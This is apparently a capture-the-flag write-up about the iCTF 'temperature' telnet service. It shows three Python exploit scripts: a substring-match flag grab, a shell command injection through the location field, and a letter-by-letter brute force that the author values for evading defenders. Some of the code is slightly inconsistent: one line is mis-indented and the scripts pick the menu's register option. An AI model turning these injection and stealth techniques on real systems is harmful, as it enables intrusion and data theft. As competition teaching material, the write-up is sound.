Hi,

as last year, I have been part of Team local maximum in the yearly ictf and mainly had a look at the temperature service.

Description

Temperature was a service exposing a telnet interface on port 56098. It is written in python, source code included, and uses a plain file as a database.

Upon connecting, two options were available,

  1. Register a temperature
  2. Read a temperature

One data set is composed out of a date, a location and a temperature. All three are only handled as strings and no sanitizing takes place.

Option 1 asks for a date, a location and a temperature. Option 2 asks for a date and a location and will return any matching temperature.

The data is stored in a file called neverguess by just appending them in a table based structure. The file is only accessible by the user running the service.

Task

The task is to return a given temperature for which only the date is known, not the location. (the flag_id is the date, the flag is the temperature). The location is unknown.

Problems

First of all, no sanitizing nor authorization takes place so anybody accessing this service can write anything to the data file which could expose the system or could be used to render foreign exploits nonfunctional.

Also, data retrieving is done by(check as this is only from my memory):

cat neverguess | grep $1 | grep $2 | awk {$3}

This opens up multiple attack vectors. For starters, grep does not limit the search on the columns the search is supposed to be carried out on. A given location should only be compared to all known locations as should the dates. As all flags start with a "FLG", this leads us to our first exploit:

class Exploit():
        def execute(self, ip, port, flag_id):
                import telnetlib
                a = telnetlib.Telnet()
                a.open(ip, port, 20)
                a.read_until("recording")
                a.write("1")
                a.read_until("(YYYY/MM/DD)")
                a.write(flag_id)
                a.read_until("location")
                a.write("FLG")
                flags = a.read_all().split()
                        self.flag = flags[-1]

        def result(self):
                return {'FLAG' : self.flag }

The date is the flag_id but instead of a location "FLG" is given. Temperature will now return any row matching the date and "FLG" which is the flag matching the given date.

The second possibility comes from directly using the given strings without ensuring proper quoting. Therefore, any other program can be used to open the file and execute ones query. This exploit is based on someones else attack and reconstructed from our tcpdumps.

class Exploit():
        def execute(self, ip, port, flag_id):
                import telnetlib
                a = telnetlib.Telnet()
                a.open(ip, port, 20)
                a.read_until("recording")
                a.write("1")
                a.read_until("(YYYY/MM/DD)")
                a.write(flag_id)
                a.read_until("location")
                a.write("| cat neverguess | sed 's/ /#/g' | sed 's/^/1 1 /'")
                b = a.read_all()
                flags = b.split()
                for flag in flags[1:]:
                        c = flag.split("#")
                        if c[1] == flag_id:
                                self.flag = c[3]
        def result(self):
                return {'FLAG' : self.flag }

Instead of using grep, the use of sed is demonstrated. Any other program could be called enabling a remote code execution with the services' rights.

My last exploit shows another problem with the program. Not only does it not limit the searches to the correct columns, it also matches substrings. This enables us to use a brutforce approach. By going through the single letter alphabet we will find a match to the location after a maximum of 26 attempts.

class Exploit():
        def execute(self, ip, port, flag_id):
                import string
                import telnetlib
                for letter in string.lowercase:
                        a = telnetlib.Telnet()
                        a.open(ip, port, 20)
                        a.read_until("recording")
                        a.write("1")
                        a.read_until("(YYYY/MM/DD)")
                        a.write(flag_id)
                        a.read_until("location")
                        a.write(letter)
                        flags = a.read_all().split()
                        if flags[-1].startswith("FLG"):
                                self.flag = flags[-1]
                                return
        def result(self):
                return {'FLAG' : self.flag }

I personally really like this approach as every single try does not give a clue to the defender what is happening.